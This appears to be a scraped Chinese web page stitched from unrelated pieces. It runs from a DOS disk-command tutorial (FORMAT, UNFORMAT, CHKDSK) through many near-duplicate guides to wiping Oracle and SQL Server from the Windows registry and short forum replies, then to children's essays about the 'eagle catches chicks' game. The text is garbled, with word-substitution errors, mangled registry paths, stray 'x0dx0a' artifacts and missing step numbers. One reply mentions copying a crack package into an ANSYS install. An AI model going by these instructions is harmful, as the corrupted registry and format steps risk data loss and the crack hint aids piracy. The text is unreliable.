（4）选用[/4]参数，在1.2MB的高密度软驱中格式化360KB的低密度盘； （5）选用[/Q]参数，快速格式化，这个参数并不会重新划分磁盘的磁道貌岸然和扇区，只能将磁盘根目录、文件分配表以及引导扇区清成空白，因此，格式化的速度较快。 （6）选用[/U]参数，表示无条件格式化，即破坏原来磁盘上所有数据。不加/U，则为安全格式化，这时先建立一个镜象文件保存原来的FAT表和根目录，必要时可用UNFORRMAT恢复原来的数据。 （二）UNformAT恢复格式化命令 1．功能：对进行过格式化误操作丢失数据的磁盘进行恢复。 2．类型：外部命令 3．格式：UNformAT〈盘符〉[/L][/U][/P][/TEST] 4．使用说明：用于将被“非破坏性”格式化的磁盘恢复。根目录下被删除的文件或子目录及磁盘的系统扇区（包括FAT、根目录、BOOT扇区及硬盘分区表）受损时，也可以用UNformAT来抢救。 （1）选用/L参数列出找到的子目录名称、文件名称、大孝日期等信息，但不会真的做formAT工作。 （2）选用/P参数将显示于屏幕的报告（包含/L参数所产生的信息）同时也送到打印机。运行时屏幕会显示：“Print out willbe sent to LPT1” （3）选用/TEST参数只做模拟试验（TEST）不做真正的写入动作。使用此参数屏幕会显示：“Simulation only” （4）选用/U参数不使用MIRROR映像文件的数据，直接根据磁盘现状进行UNformAT。 （5）选用/PSRTN；修复硬盘分区表。 若在盘符之后加上/P、/L、/TEST之一，都相当于使用了/U参数，UNformAT会“假设”此时磁盘没有MIRROR映像文件。 注意：UNformAT对于刚formAT的磁盘，可以完全恢复，但formAT后若做了其它数据的写入，则UNformAT就不能完整的救回数据了。UNformAT并非是万能的，由于使用UNformAT会重建FAT与根目录，所以它也具有较高的危险性，操作不当可能会扩大损失，如果仅误删了几个文件或子目录，只需要利用UNDELETE就够了。三） CHKDSK——检查磁盘当前状态命令 1．功能：显示磁盘状态、内存状态和指定路径下指定文件的不连续数目。 2．类型：外部命令 3．格式：CHKDSK [盘符：][路径][文件名][/F][/V] 4．使用说明： （1）选用[文件名]参数，则显示该文件占用磁盘的情况； （2）选[/F]参数，纠正在指定磁盘上发现的逻辑错误； （3）选用[/V]参数，显示盘上的所有文件和路径。 （四）DISKCOPY——整盘复制命令 1．功能：复制格式和内容完全相同的软盘。 2．类型：外部命令 3．格式：DISKCOPY[盘符1：][盘符2：] 4．使用说明： （1）如果目标软盘没有格式化，则复制时系统自动选进行格式化。 （2）如果目标软盘上原有文件，则复制后将全部丢失。 （3）如果是单驱动器复制，系统会提示适时更换源盘和目标盘，请操作时注意分清源盘和目标盘。 （五）LABEL——建立磁盘卷标命令 1．功能：建立、更改、删除磁盘卷标。 2．类型：外部命令 3．格式：LABEL[盘符：][卷标名] 4．使用说明： （1）卷标名为要建立的卷标名，若缺省此参数，则系统提示键入卷标名或询问是否删除原有的卷标名； （2）卷标名由1至11个字符组成。 （六）VOL——显示磁盘卷标命令 1．功能：查看磁盘卷标号。 2．类型：内部命令 3．格式：VOL[盘符：] 4．使用说明：省略盘符，显示当前驱动器卷标。 （七）SCANDISK——检测、修复磁盘命令 1．功能：检测磁盘的FAT表、目录结构、文件系统等是否有问题，并可将检测出的问题加以修复。 2．类型：外部命令 3．格式：SCANDISK[盘符1：]{[盘符2：]…}[/ALL] 4．使用说明： （1）CCANDISK适用于硬盘和软盘，可以一次指定多个磁盘或选用[/ALL]参数指定所有的磁盘； （2）可自动检测出磁盘中所发生的交叉连接、丢失簇和目录结构等逻辑上的错误，并加以修复。 （八）DEFRAG——重整磁盘命令 1．。功能：整理磁盘，消除磁盘碎块。 2．类型：外部命令 相关教程：http://www.softhouse.com.cn/html/200501/2005012608080500004109.html

format fdisk dir cd deltree del md

　　 开始－＞运行 输入SERVICES MSC到服务里 停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINE＼SOFARE＼ORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services 滚动这个列表 删除所有Oracle入口 　　 运行regedit HKEY_LOCAL_MACHINE＼SYSTEM＼CurrentControlSet＼Services＼Eventlog＼Application 删除所有Oracle入口 　　 我的电脑－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除＼Program Files＼Oracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C ＼Oracle 删除这个入口目录及所有子目录 并从目录（一般为C ＼WINNT）下删除以下文件ORACLE INI oradim INI oradim INI oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 lishixinzhi/Article/program/Oracle/201311/17527

　　oracle服务项中有不用的服务 应该如何处理呢？下面就为您介绍删除oracle服务项中不用的服务的实现方法 希望对您学习oracle服务项方面能有所帮助 　　管理－－＞oracle服务项里面删不掉的服务可以直接进注册表删除 　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetservices 　　中找到要删除的删除后重启即可 　　 将不用的服务先禁用 　　 在 运行 中输入 regedit 打开注册表 找到 KEY_LOCAL_MACHINE 下的 SYSTEM 下的 ControlSet ″下的 Services 然后在该目录下找到你要删除的项将其删除即可 　　以上的这些目录是我自己系统中的具体目录 其实只要通过 编辑 下的 查找 找到你所要删除的项 然后确定该项目是在Services目录下并将其删除即可 　　此时 服务项中仍会有该服务 但已发生改变 只要重启下计算机就可将其从服务中彻底删除 　　彻底删除oracle 　　实现方法 　　 开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞Universal Installer 　　卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINESOFAREORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 滚动这个列表 删除所有Oracle入口 　　 运行regedit 　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 　　删除所有Oracle入口 　　 开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 　　删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除Program FilesOracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C:Oracle 删除这个入 　　口目录及所有子目录 并从Windows 目录（一般为C:WINNT）下删除以下文 　　件ORACLE INI oradim INI oradim INI oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 　　说明 　　到现在为止 你还是可以发现在服务里面还有oracle的服务存在 必须把他删除 否则你再安装oracle时就会出现什么服务已经存在的错误提示了 而这些服务是在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot下以LEGACY_ORACLE打头的 而且你选种按delete删除时系统会提示你一个错误 不让你删除 现提供具体删除方法 win 的如下 　　运行regedt 注意了 不是regedit 在HKEY_LOCAL_MACHINE那页找到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetEnumRoot先选中ROOT然后点菜单上的安全 权限把自己添加到里面 并且权限设置为完全控制 确定后再删除ROOT下所有LEGACY_ORACLE打头的键 同样的方法也可以把HKEY_LOCAL_MACHINESYSTEMControlSet 和HKEY_LOCAL_MACHINESYSTEMControlSet 两个下面EnumRoot下所有LEGACY_ORACLE打头的键删除 重新启动计算机可以发现 服务里面的那些都没有了 　　在winXP中就比较简单了 还是运行regedit 找到LEGACY_ORACLE打头的键后右击 选择权限 同样将everyone设置为完全控制就可以删除了 删除后重新启动一下就可以了 lishixinzhi/Article/program/Oracle/201311/18461

作死啊，删除这个干嘛，你直接在c盘搜索这个程序看有没有吧

注册表是不能删除的，换个系统试下吧

oracle10g卸载x0dx0a软件环境：x0dx0ax0dx0a1、WindowsXP+Oracle10gx0dx0ax0dx0a2、Oracle安装路径为：d:Oraclex0dx0ax0dx0a实现方法：x0dx0ax0dx0a1、开始－＞设置－＞控制面板－＞管理工具－＞服务停止所有Oracle服务；x0dx0ax0dx0a2、开始－＞程序－＞Oracle_OraDb10g_home1＞OracleInstallationProducts－＞UniversalInstaller卸装所有Oracle产品，但UniversalInstaller本身不能被删除；x0dx0ax0dx0a3、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口；x0dx0ax0dx0a4、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动这个列表，删除所有Oracle入口；x0dx0ax0dx0a5、运行refedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，删除所有Oracle入口；x0dx0ax0dx0a6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量,删除环境变量CLASSPATH和PATH中有关Oracle的设定；x0dx0ax0dx0a7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标；x0dx0ax0dx0a8、删除c:ProgramFilesOracle目录；x0dx0ax0dx0a9、重新启动计算机，重起后才能完全删除Oracle所在目录；x0dx0ax0dx0a10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入口目录及所有子目录，并从WindowsXP目录（一般为d:WINDOWS）下删除以下文件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等；x0dx0ax0dx0a11、WIN.INI文件中若有[ORACLE]的标记段，删除该段；x0dx0ax0dx0a12、如有必要，删除所有Oracle相关的ODBC的DSN；x0dx0ax0dx0a13、到事件查看器中，删除Oracle相关的日志说明：如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了。

..完全可以而且是垃圾文件

由于一些其他问题，Windows系统重装，导致python打包失败。查看原因，是因为pyinstaller不支持多个python版本。简单粗暴解决办法，删除多余的版本。删除方法一，使用安装包删除 删除方法二：删除安装文件，删除环境变量 but，dos上还是可以访问python3.8，这是什么情况？？？ 在dos上输入where python 找到路径，并删除，ok

CD C:Progra~1

Oracle数据库卸载步骤：1、关闭oracle所有的服务。可以在windows的服务管理器中关闭；2、打开注册表：regedit 打开路径：HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 删除该路径下的所有以oracle开始的服务名称，这个键是标识Oracle在windows下注册的各种服务！3、打开注册表，找到路径：HKEY_LOCAL_MACHINESOFTWAREORACLE 删除该oracle目录，该目录下注册着Oracle数据库的软件安装信息。4、删除注册的oracle事件日志，打开注册表 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 删除注册表的以oracle开头的所有项目。5、删除环境变量path中关于oracle的内容。 鼠标右键右单击“我的电脑-->属性-->高级-->环境变量-->PATH 变量。 删除Oracle在该值中的内容。注意:path中记录着一堆操作系统的目录，在windows中各个目录之间使用分号（;）隔开的，删除时注意。 建议：删除PATH环境变量中关于Oracle的值时，将该值全部拷贝到文本编辑器中，找到对应的Oracle的值，删除后，再拷贝修改的串，粘贴到PATH环境变量中，这样相对而言比较安全。6、重新启动操作系统。以上1~5个步骤操作完毕后，重新启动操作系统。7、重启操作系统后各种Oracle相关的进程都不会加载了。这时删除Oracle_Home下的所有数据。（Oracle_Home指Oracle程序的安装目录）8、删除C:Program Files下oracle目录。 （该目录视Oracle安装所在路径而定）9、删除开始菜单下oracle项，如： C:Documents and SettingsAll Users「开始」菜单程序Oracle - Ora10g 不同的安装这个目录稍有不同。 如果不删除开始菜单下的Oracle相关菜单目录，没关系，这个不影响再次安装Oracle.当再次安装Oracle时，该菜单会被替换。Windows平台下Oracle就彻底卸载了

　SQLServer正常情况下可以通过添加删除将其卸载，但有时可能会出现一些不可遇见的原因，　　导致其不能自动卸载，就需要手工卸载，在手工卸载前要注意做好数据的备份工作，以便于　　以后做还原，卸载SQLServer包括两个方面：　　第一，程序文件和数据文件的卸载。如果SQLServer是默认安装，程序文件和数据文件在同一　　路径下，如下：　　　　　　　找到后将整个MicrosoftSQLServer文件夹全部删除掉。　　　若不是在同一路径下，程序文件路径如下：　　　　　　将整个MicrosoftSQLServer文件夹删除掉，再找到相对应的数据文件夹MSSQL进行删除。　　第二，注册表信息的删除。　　【开始】->【运行】->输入regedit，点开HKEY_LOCAL_MACHINE->software->microsoft，　　找到microsoftSQLServer和MSSQLServer，如下：　　　　　　右击这两个文件选择删除，关闭注册表，然后重新启动电脑就可以了。如何彻底删除Oracle？软件环境：　　1、Windows2000+ORACLE8.1.7　　2、ORACLE安装路径为：C:ORACLE　　实现方法：　　1、开始－＞设置－＞控制面板－＞管理工具－＞服务　　停止所有Oracle服务。　　2、开始－＞程序－＞Oracle-OraHome81－＞OracleInstallationProducts－＞　　UniversalInstaller　　卸装所有Oracle产品，但UniversalInstaller本身不能被删除　　5、运行regedit，选择HKEY_LOCAL_MACHINESOFTWAREORACLE，按del键删除这个入口。　　6、运行regedit，选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，滚动　　这个列表，删除所有Oracle入口。　　7、运行refedit，　　HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication，　　删除所有Oracle入口。　　8、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量　　删除环境变量CLASSPATH和PATH中有关Oracle的设定　　9、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标　　10、删除ProgramFilesOracle目录　　11、重新启动计算机，重起后才能完全删除Oracle所在目录　　12、删除与Oracle有关的文件，选择Oracle所在的缺省目录C:Oracle，删除这个入　　口目录及所有子目录，并从Windows2000目录（一般为C:WINNT）下删除以下文　　件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。　　13、WIN.INI文件中若有[ORACLE]的标记段，删除该段　　14、如有必要，删除所有Oracle相关的ODBC的DSN　　15、到事件查看器中，删除Oracle相关的日志　　说明：　　如果有个别DLL文件无法删除的情况，则不用理会，重新启动，开始新的安装，　　安装时，选择一个新的目录，则，安装完毕并重新启动后，老的目录及文件就可以删除掉了

重新export 下嘛

　　可以完整的删除Oracle products Oracle services和注册表信息 　　　　当然是很少情况下才想到删除oracle 只有确定真的不用的时候才做 　　如果需要请备份所有相关的文件 　　（下面操作假设是使用OFA结构） 　　NT环境下 　　 以NT的Administrator 登陆 　　 通过控制面版 〉服务 停掉所有ORACLE服务 　　 打开注册表（REGEDIT命令） 删除 　　　 HKEY_LOCAL_MACHINESOFAREORACLE 　　 打开注册表中的 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 　　　　　 删除以ORACLE开头的所有服务 　　 删除HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventLogA 　　pplication下 　　　 以ORACLE开头的所有服务 　　 关闭REGEDIT 　　 打开控制面版 〉系统 〉环境变量 　　 如果ORACLE安装了JRE 就删除%ORACLE_HOME%BIN和JRE路径 　　　 比如 ORACLEORA BIN;G: Program FilesOraclejre in 　　 删除WinntProfilesAll UsersStart MenuProgramsOracle 和 　　　 WinntProfilesAll UsersStart MenuProgramsOracle 　　 删除Program FilesOracle 　　 重新启动机器 　　 删除所有ORACLE目录（在注册表HKEY_LOCAL_MACHINESOFAREORACLEORA 　　CLE_HOMES下） 　　　　在 Windows / Windows : 　　　　 打开注册表HKEY_LOCAL_MACHINESOFAREORACLE 　　　　 删除前面步骤中的第 步中的ORACLE 　　　　 删除AUTOEXEC BAT 中的 %ORACLE_HOME%in 和 JRE 　　　　 删除所有ORACLE目录 　　　　 Program FilesOracle 　　　　 WindowsStart MenuProgramsOracle <HOME> 　　　　　　WindowsStartMenuProgramsOracle 　　　　 重新启动　　　　 删除Oracle 　　软件环境 Windows +ORACLE 　　　　　　　　 ORACLE安装路径为 C:ORACLE 　　实现方法 　　 开始－＞设置－＞控制面板－＞管理工具－＞服务 停止所有Oracle服务 　　 开始－＞程序－＞Oracle OraHome －＞Oracle Installation Products－＞Universal Installer 卸装所有Oracle产品 但Universal Installer本身不能被删除 　　 运行regedit 选择HKEY_LOCAL_MACHINESOFAREORACLE 按del键删除这个入口 　　 运行regedit 选择HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices 滚动这个列表 删除所有Oracle入口 　　 运行regedit HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication 删除所有Oracle入口 　　 开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 　　 从桌面上 STARTUP（启动）组 程序菜单中 删除所有有关Oracle的组和图标 　　 删除Program FilesOracle目录 　　 重新启动计算机 重起后才能完全删除Oracle所在目录 　　 删除与Oracle有关的文件 选择Oracle所在的缺省目录C:Oracle 删除这个入口目录及所有子目录 并从Windows 目录（一般为C:WINNT）下删除以下文件ORACLE ini oradim ini oradim ini oraodbc ini等等 　　 WIN INI文件中若有[ORACLE]的标记段 删除该段 　　 如有必要 删除所有Oracle相关的ODBC的DSN 　　 到事件查看器中 删除Oracle相关的日志 　　说明 　　如果有个别DLL文件无法删除的情况 则不用理会 重新启动 开始新的安装 　　安装时 选择一个新的目录 则 安装完毕并重新启动后 老的目录及文件就可以删除掉了 　　　　 删除Oracle 　　如果需要卸载Oracle 请运行安装光盘上的安装文件Setup exe 在 欢迎 窗口中 选择 卸装产品 按钮 进入 Invertory 目录 窗口 在该窗口中选择需要删除的产品（在产品名称前面的方框内打上在标记√） 然后单击 删除 按钮即可 或者直接在开始菜单中找到Oracle for NT程序组下的Oracle installer 同样可以卸载Oracle 　　卸载Oracle产品后 在系统的注册表内仍然有相关信息 您可以参考以下方法进行手工删除 　　注意 对注册表的操作可能对系统产生严重影响 请在操作前进行备份 以便在系统异常时恢复到原来的注册表 该操作请参考Windows系统的相关说明 　　运行RegEdit 在 HKEY_CURRENT_USERSofare HKEY_LOCAL_MACHINESofare HKEY_LOCAL_MACHINESystemCurrentControlSetServices 主键中删除所有的Oracle入口（如果找到的话） 然后重新启动计算机 如一切正常 则修改完成 如启动有错误 可能您对注册表的修改出错 运行RegEdit 将备份的注册表项目导入 如果误删了注册表中的 Microsoft ODBC for Oracle 可用以下方法恢复 　　将 HKEY_LOCAL_MACHINEsofareMicrosoftDataAccess 中的Version的值由 a 改为 a 然后重新安装财务软件 安装程序会自动安装 MADC 并恢复 Microsoft ODBC for Oracle （对Windows / 请立即进入Dos方式 将备份的system dat文件（如system bak）复制回system dat） 　　（对Windows NT 如启动失败 请重新启动计算机 在提示下 按空格键启动 硬件配置文件/已知的最新正确配置 菜单 该菜单将注册表还原到稳定状态 按照屏幕上的指示操作 可以将注册表还原为上次成功启动时的状态 ） lishixinzhi/Article/program/Oracle/201311/18033

2、开始－＞程序－＞Oracle - OraHome81－＞Oracle Installation Products－＞ Universal Installer 卸装所有Oracle产品， 但Universal Installer本身不能被删除 3、运行regedit，选择 HKEY_LOCAL_MACHINE－＞SOFTWAREORACLE，按del键删除这个入口。 4、运行regedit，选择 HKEY_LOCAL_MACHINE－＞SYSTEM－＞CurrentControlSet－＞Services，滚动 这个列表，删除所有Oracle入口。 5、运行refedit，选择 HKEY_LOCAL_MACHINE－＞SYSTEM－＞CurrentControlSet－＞Services－＞Eventlog－＞Application，删除所有Oracle入口。 6、开始－＞设置－＞控制面板－＞系统－＞高级－＞环境变量 删除环境变量CLASSPATH和PATH中有关Oracle的设定 7、从桌面上、STARTUP（启动）组、程序菜单中，删除所有有关Oracle的组和图标 8、删除Program FilesOracle目录 9、重新启动计算机，重起后才能完全删除Oracle所在目录 10、删除与Oracle有关的文件，选择Oracle所在的缺省目录C：Oracle，删除这个入口目录及所有子目录，并从Windows 2000目录（一般为C：WINNT）下删除以下文 件ORACLE.INI、oradim73.INI、oradim80.INI、oraodbc.ini等等。 11、WIN.INI文件中若有[ORACLE]的标记段，删除该段 12、如有必要，删除所有Oracle相关的ODBC的DSN 13、到事件查看器中，删除Oracle相关的日志

见附件就是卸载方案，我经常用这个的。

试试进安全模式可以操作吗如果安全模式也不行的话再试试这个办法：通过重置系统的方法来恢复点击开始选择设置--系统设置--找到更新和安全--选择恢复，点击重置此电脑下方的--开始但是在重置时要注意选择保存文件和设置如果这个办法也不行就重新安装操作系统吧！！！

360安全卫士试试？

1.停止所有与ORACLE相关的服务。 2. 使用OUI（Oracle Universal Installer）卸载Oracle软件。 “开始” －＞“程序” －＞“Oracle-OraDb110g_home1|Oracle installation product|Universal installer. 3.删除注册表内容。 运行regedit命令，删除下面内容：a.HKEY_CLASSES_ROOT，删除此键下所有以Ora，Oracle，Orcl，EnumOra 为前缀的键;b. LOCAL_MACHINESYSTEMCurrentControlSetServices，删除以Oracle或OraWeb为前缀的键; c.HKEY_LOCAL_MACHINESOFTWAREORACLE注册表键，删除此键; d.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices，删除Services键下所有以oracle为首的键;e.HKEY_LOCAL_MACHINE SYSTEM ControlSet001services所有oracle的服务，按del键删除掉;f.HKEY_LOCAL_MACHINE SYSTEM ControlSet002services所有oracle的服务，按del键删除掉;g.HKEY_LOCAL_MACHINE SYSTEM ControlSet003services所有oracle的服务，按del键删除掉;h.HKEY_LOCAL_MACHINE SYSTEM ControlSetservices所有oracle的服务，按del键删除掉;i.HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlogApplication， 删除此键下所有以oracle为首的键; j.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerMenuOrderStart MenuPrograms， 删除此键下所有以oracle为首的键;k.HKEY_LOCAL_MACHINESOFTWAREODBCODBCINST.INI注册表键，删除了Microsoft ODBC FOR ORACLE注册表键以外的所有有Oracle字样的键值。 4. 删除环境变量。 删除环境变量CLASSPATH和PATH中含有Oracle字样的值。 “我的电脑” －＞“属性” －＞“高级” －＞“环境变量” 。5.在文件系统内删除ORACLE相关的文件及目录：a.删除系统盘符：在C盘的Progrm Files下删除Oracle有关的目录；在C盘的根目录下删除ORACLE有关的目录。b.删除C盘下有个WINNT文件夹，里面有ORACLEM73.INI,ORACLE 80.INI等文件夹；d．找到WIN.INI文件夹，删除ORACLE有关的文件；c. 删除你所安装下的目录；6.到“管理工具”里，在“事件查看器”里删除有关ORACLE的文件。7.重启电脑就可以，之前删除不了的文件就可以删除掉了。不过有些文件是没有。找不到就不用删了。

打开方式不正确 从我的电脑右键 属性 高级系统设置 高级 环境变量 这个路线进入 就可以删除了

看见就删掉，没看见就别理它

http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/en-us/ntcmds.mspx?mfr=truewindows 网站里的解释所有DOS命令。还有些其它的不是是英文就是了。

删除环境变量中与ansys相关的东西。当我们在手机软件市场上搜索软件，根据页面上的提示，一步步安装好程序后，同时需要把破解包复制到相关的安装目录。当我们把程序和破解包都安装好，在手机页面点击对应的APP的图标，然后在许可证服务器安装路径中根据文件会生成符合自己机器的标识，就可以加载虚拟光驱。

还是我喜欢的造句知识，让我来告诉你吧！1、我最喜欢的动物是小白兔，耳朵长长的很可爱。2、我们要爱护小动物！3、周末的时候，爸爸妈妈带我去动物园玩。

　　无论是在学校还是在社会中，大家都有写作文的经历，对作文很是熟悉吧，写作文是培养人们的观察力、联想力、想象力、思考力和记忆力的重要手段。那么你知道一篇好的作文该怎么写吗？以下是我帮大家整理的老鹰捉小鸡作文，欢迎大家借鉴与参考，希望对大家有所帮助。 老鹰捉小鸡作文1 　　体育课上，老师带我们做了一个有趣的游戏叫老鹰捉小鸡。老师做“老鹰”，十个小同学做“小鸡”，班长刘琴做“老母鸡”。 　　游戏开始了，老鹰扇动着有力的翅膀，一会儿向左，一会儿向右，盘算着怎样才能把“小鸡”捉到手。突然，“老鹰”猛一身，扑向“小鸡”，善良的“母鸡”连忙张开双臂，用整个身体挡住“老鹰”的去路。“老鹰”扑向哪里，“母鸡”就挡到哪里，机警的保护着自己的“孩子”。“小鸡”一个拉着一个，跟在“母鸡”背后左躲右闪，蹦来蹦去，不让“老鹰”捉住。“老鹰”几次没捉到小鸡，急得像热锅上的蚂蚁团团。“老鹰”假装休息，趁“母鸡”不防，一下子从“母鸡”的手臂下钻了过去。“小鸡”一看“母鸡”没有挡住“老鹰”，慌了手脚，向四处逃散。一只“小鸡”跑慢了一步，被“老鹰”抓住了。 　　“老鹰”就这样一只一只，把十只“小鸡”全抓走了，并高兴地笑起来。我们围着她，一个劲地对她拍手叫好。 老鹰捉小鸡作文2 　　今天下午第一节是体育话里有课，老师：“今天我们来做一个游戏。”我们高兴地跳了起来，我们来到操场上，老师说：“我们今天玩的游戏是《老鹰捉小鸡》。”老师叫我们排好队，然后选出“老鹰”和“小鸡”。我被选中是一只可怜的“小鸡”。游戏的规则是“老鹰”只能捉最后一只“小鸡”或离群的“小鸡”。 　　游戏开始了，一只凶猛的“老鹰”向“小鸡”扑来，“鸡妈妈”挺身而出挡住了“老鹰”的去路，只见“老鹰”停下了脚步在想办法，来捉住可怜的“小鸡”。“老鹰”眼珠一转，灵机一动想了一个好办法。“老鹰”一下子向左边跑，机灵的“鸡妈妈”紧跟过去，“老鹰”看“鸡妈妈”挡在了前面，一下子又向右边跑，又被聪明的“鸡妈妈”挡住了。几个回合下来，“老鹰”还是没有抓到“小鸡”，这时，“老鹰”发火了，像狮子般猛扑过去，一只“小鸡”吓得离开队伍，被“老鹰”捉住了。 　　这个故事告诉了我们，不管在什么情况下，都不能离开集体的"队伍。 老鹰捉小鸡作文3 　　今日，教师带我们玩老鹰捉小鸡，游戏规则：大家选二个人各当老鹰、鸡妈妈，其它人当小鸡，小鸡蹲下，老鹰就不能捉了，如果小鸡散队了，蹲下无效，谁犯规，谁不能玩了。 　　游戏最终开始了，老鹰张牙舞爪的望着小鸡跑去，而勇敢的鸡妈妈张开那大大的翅膀来保护小鸡，就这样大战了几个回合，还没有分出胜负，老鹰累的气喘吁吁，鸡妈妈却一点也不累。忽然，老鹰心里想出了一个坏主意。老鹰自言自语的说：“哈哈!这次给你们点颜色看看。”说着，老鹰向右迈了一大步，忽然，老鹰向左跑去，啊!不好，我被老鹰捉住了，轮到我当老鹰了，哈哈!我一个箭步就捉住了一只小鸡，同学们哈哈大笑起来!原先，这只小鸡就是刚才捉住我的那只老鹰! 　　同学们在操场上唱啊，跳啊!度过了一段欢乐时光! 老鹰捉小鸡作文4 　　记得幼儿园的时候，我们经常玩的游戏是《老鹰和小鸡》。 　　老师会选班上一个高个子同学当老鹰，我们听了都害怕。但是当老师说母鸡让比鹰高的同学来的时候，我们就放心了。 　　一开始每个小妞都抢前面同学的裙子。老鹰猛扑过去，母鸡妈妈迅速张开双臂挡住老鹰的攻击。但老鹰并不沮丧，他会继续攻击，但每次斗都以失败告终。老鹰累得气喘吁吁，满脸通红，说:“你玩一会儿，我想休息一下。”听到鹰的话，鸡和母鸡妈妈都放松了警惕，但他们从来不认为这是鹰的计划。鸡离开了母鸡妈妈到别处去玩，有的甚至跑到鹰那里去玩。老鹰假装闭上眼睛休息。其实他静静的等着机会，用眼神看了看四周，然后毫不费力的抓了两只鸡。 　　这一次，大家都意识到自己被骗了，母鸡妈妈又大发雷霆，警惕起来。母鸡睁大眼睛看着老鹰，老鹰往哪里跑，母鸡就往哪里跑，这样老鹰就抓不到小鸡了。 　　这真是一个非常有趣的游戏。那些美好的回忆一直在我心里。 老鹰捉小鸡作文5 　　星期六的早晨，我们全家玩老鹰捉小鸡的游戏。当老鹰，妈妈当母鸡，我和哥哥当小鸡。游戏开始了，妈妈张开双臂护住我们，站在妈妈的对面，身子来回摆动，左顾右盼，在寻找着进攻的机会，突然，爸爸首先从上面发起了攻击，妈妈带着我们灵机一闪，躲过了爸爸的攻击，爸爸扑了个空，我和哥哥大笑，冲着爸爸做了个鬼脸说：“快来捉我们呀。”爸爸说：“走着瞧，我一定会捉到你的。”说完爸爸再次向我们发起了攻击，只见爸爸的脚向左慢慢的移动，妈妈带着我们向右躲闪着，谁知爸爸突然改变了方向，向右发起了攻击，我被爸爸抓住了，我们全家哈哈大笑。 　　今天的游戏玩的可真。 老鹰捉小鸡作文6 　　今天，我给大家介绍一个游戏叫“老鹰捉小鸡”。 　　首先，要有五个人以上才能开始游戏，一个人当“老鹰”，一个人当“鸡妈妈”，剩下的人当“小鸡”。 　　然后游戏开始了，“鸡妈妈”张开翅膀保护“小鸡”，她左拦右挡；“老鹰”左扑右扑；“小鸡”们在“鸡妈妈”身后左山右避。忽然，“老鹰”趁“鸡妈妈”不注意抓住了一只“小鸡”，那只“小鸡”就下场休息了。接着，“老鹰”又继续捉“小鸡”，直到捉完最后一只“小鸡”……最后，我知道了这个游戏可以练习敏捷力，还可以练习跑步能力。 老鹰捉小鸡作文7 　　“快跑啊，快跑啊。”操场上传来一阵阵欢笑声，这是在干什么啊，这么热闹，原来是同学们在玩“老鹰捉小鸡”的游戏。 　　一开始老鹰非常凶猛地向小鸡们扑上去，小鸡们超害怕，乱成一团。母鸡见形式不妙，赶紧用它的尖嘴把老鹰啄走。老鹰狼狈极了。但是，鸡群却得意忘形，老鹰看准这个机会，猛地向鸡群扑过去，一只小鸡被老鹰抓个正着，鸡群失败了。第二次，老师重新选了一只老鹰，母鸡和一群可爱的小鸡。游戏开始了，这次的老鹰比上只老鹰狡猾多了，它先把母鸡引到一边，然后快速地冲过来，想捉住一只小鸡。可是，这只老鹰小看小鸡了，小鸡们可机灵了，一感觉老鹰在后面追着，就加快了脚步紧紧地拉着前面小鸡的衣服不松手，玩了半天，一只小鸡也没有捉到，哈哈哈。 　　